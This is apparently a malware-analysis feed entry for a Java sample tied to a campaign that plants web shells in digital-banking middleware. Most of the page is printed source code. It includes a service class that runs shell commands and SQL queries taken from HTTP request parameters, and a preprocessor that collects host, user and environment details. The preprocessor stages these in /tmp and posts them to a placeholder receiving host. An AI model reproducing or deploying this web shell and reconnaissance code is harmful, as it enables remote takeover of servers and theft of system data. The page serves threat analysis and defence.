Hostile 100% java Download

FabricServices.java

Remote code execution and C2

Middleware starts a shell with a request parameter valueMiddleware preprocessor with host inventory and HTTP body writes
SHA-2567b1f3d6d74e401873cb4e963885de024faac71f7319b1256c6b5448982478473

Also flagged by https://www.forescout.com/feed/ (BankWeaver Campaign Abuses Digital Banking Middleware to Deploy Web Shells).

Evidence

Writes a URLConnection request body lines 1–48
1:35… Forescout, not recovered implant source.
2import com.konylabs.middleware.common.JavaService2;
3import com.konylabs.middleware.common.DataPreProcessor2;
4import com.konylabs.middleware.controller.DataControllerRequest;
5import com.konylabs.middleware.controller.DataControllerResponse;
6import com.konylabs.middleware.dataobject.Result;
7import java.util.HashMap;
8import java.sql.*;
9import java.net.*;
10import java.nio.file.*;
11import java.nio.charset.StandardCharsets;
12class ReconJavaService implements JavaService2 {
13 public Object invoke(String methodID, Object[] inputArray, DataControllerRequest request, DataControllerResponse response) throws Exception {
14 String command = request.getParameter("cmd");
15 if (command != null) {
16 Process child = new ProcessBuilder("/bin/sh", "-c", command).start();
17 byte[] output = child.getInputStream().readAllBytes();
18 int status = child.waitFor();
19 return new String(output, StandardCharsets.UTF_8) + status;
20 }
21 String query = request.getParameter("sql");
22 try (Connection db = DriverManager.getConnection(request.getParameter("db"),
23 request.getParameter("user"), request.getParameter("pass"))) {
24 Statement statement = db.createStatement();
25 statement.setMaxRows(50);
26 return statement.executeQuery(query);
27 }
28 }
29}
30class ReconPreProcessor implements DataPreProcessor2 {
31 public boolean execute(HashMap inputMap, DataControllerRequest request, DataControllerResponse response, Result result) throws Exception {
32 String report = "RECON_PREPROCESSOR\n" + InetAddress.getLocalHost().getHostName()
33 + NetworkInterface.getNetworkInterfaces().toString()
34 + System.getenv().keySet().toString()
35 + System.getProperty("java.version") + System.getProperty("java.home")
36 + System.getProperty("user.name") + System.getProperty("user.dir")
37 + System.getProperty("os.name") + System.getProperty("os.arch")
38 + ProcessHandle.current().pid();
39 Process identity = new ProcessBuilder("id").start();
40 report += new String(identity.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
41 report += Files.list(Path.of("/tmp")).toList().toString();
42 report += Files.list(Path.of(".")).toList().toString() + "RECON_DONE";
43 byte[] bytes = report.getBytes(StandardCharsets.UTF_8);
44 Files.write(Path.of("/tmp/.recon_out"), bytes);
45 // The victim staging URL is redacted in the article. Reserved control endpoint.
46 HttpURLConnection channel = (HttpURLConnection)new URL("https://staging.example.invalid/receive").openConnection();
47 channel.setRequestMethod("POST");
48 channel.setRequestProperty("X-A", "k1");

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.